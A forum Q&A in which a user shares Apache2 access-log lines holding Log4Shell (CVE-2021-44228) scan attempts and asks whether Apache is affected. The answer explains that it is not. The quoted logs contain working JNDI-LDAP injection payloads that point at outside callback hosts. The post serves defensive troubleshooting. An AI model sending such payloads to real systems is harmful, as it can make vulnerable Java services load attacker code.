Apache2 – Does Apache Webserver Use Log4j (CVE-2021-44228)?

Apache2

Does the apache webserver (apache2) use log4j?

I have Apache2 2.4.38 (debian) installed on Raspberry Pi OS (64bit) and found some strange records in my log regarding CVE-2021-44228 from kryptoslogic-cve-2021-44228.com (honeypot/scanner), dataastatistics.com (offline & malicious?) and a8fvkc.dnslog.cn (I dont know what this is)

What should I do now?

  • nothing because apache2 is not affected by CVE-2021-44228
  • format everything and wait for a few days before I install a patched version
  • "check" if there are any new .class files and if there are not continue operation (and use manual patches like log4j2.formatMsgNoLookups = TRUE
  • something else

Logs:

139.59.99.80 - - [12/Dec/2021:00:34:47 +0100] "GET / HTTP/1.1" 301 512 "-" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
139.59.99.80 - - [12/Dec/2021:00:34:48 +0100] "GET / HTTP/1.1" 200 5932 "http://79.232.126.49/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
139.59.99.80 - - [12/Dec/2021:01:51:38 +0100] "GET /$%7Bjndi:ldap://http80path.kryptoslogic-cve-2021-44228.com/http80path%7D HTTP/1.1" 301 654 "-" "Kryptos Logic Telltale"
139.59.99.80 - - [12/Dec/2021:01:51:39 +0100] "GET /$%7bjndi:ldap:/http80path.kryptoslogic-cve-2021-44228.com/http80path%7d HTTP/1.1" 404 8456 "http://79.232.126.49/$%7Bjndi:ldap://http80path.kryptoslogic-cve-2021-44228.com/http80path%7D" "Kryptos Logic Telltale"
139.59.99.80 - - [12/Dec/2021:01:51:39 +0100] "GET /$%7bjndi:ldap:/http80path.kryptoslogic-cve-2021-44228.com/http80path%7d HTTP/1.1" 404 8456 "http://79.232.126.49/$%7Bjndi:ldap://http80path.kryptoslogic-cve-2021-44228.com/http80path%7D" "Kryptos Logic Telltale"
139.59.99.80 - - [11/Dec/2021:18:35:25 +0100] "GET / HTTP/1.1" 200 5932 "-" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
139.59.99.80 - - [11/Dec/2021:20:13:11 +0100] "GET /$%7Bjndi:ldap://http443path.kryptoslogic-cve-2021-44228.com/http443path%7D HTTP/1.1" 404 8456 "-" "Kryptos Logic Telltale"
191.101.132.152 - - [11/Dec/2021:22:55:33 +0100] "GET /?api=${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help} HTTP/1.1" 400 5115 "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}" "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}"
191.101.132.152 - - [11/Dec/2021:22:55:33 +0100] "GET /?api=${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help} HTTP/1.1" 400 5115 "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}" "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}"
191.101.132.152 - - [11/Dec/2021:22:55:33 +0100] "GET /?api=${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help} HTTP/1.1" 400 5115 "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}" "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}"
191.101.132.152 - - [11/Dec/2021:22:55:34 +0100] "POST /api/v2 HTTP/1.1" 400 5115 "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}" "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}"
191.101.132.152 - - [11/Dec/2021:22:55:34 +0100] "POST /api/v2 HTTP/1.1" 400 5115 "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}" "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}"
137.184.106.119 - - [10/Dec/2021:20:38:18 +0100] "GET / HTTP/1.1" 301 568 "-" "${jndi:ldap://a8fvkc.dnslog.cn/a}"
137.184.106.119 - - [10/Dec/2021:20:38:20 +0100] "GET / HTTP/1.1" 200 6576 "-" "${jndi:ldap://a8fvkc.dnslog.cn/a}"
137.184.106.119 - - [10/Dec/2021:20:38:21 +0100] "GET /favicon.ico HTTP/1.1" 200 7103 "-" "${jndi:ldap://a8fvkc.dnslog.cn/a}"

Best Answer

The Apache HTTP Server is not written in Java, it does not use the log4j library, so it is not affected by CVE-2021-44228.

Your log files are from the access log, they show people scanning for the log4j vulnerability.

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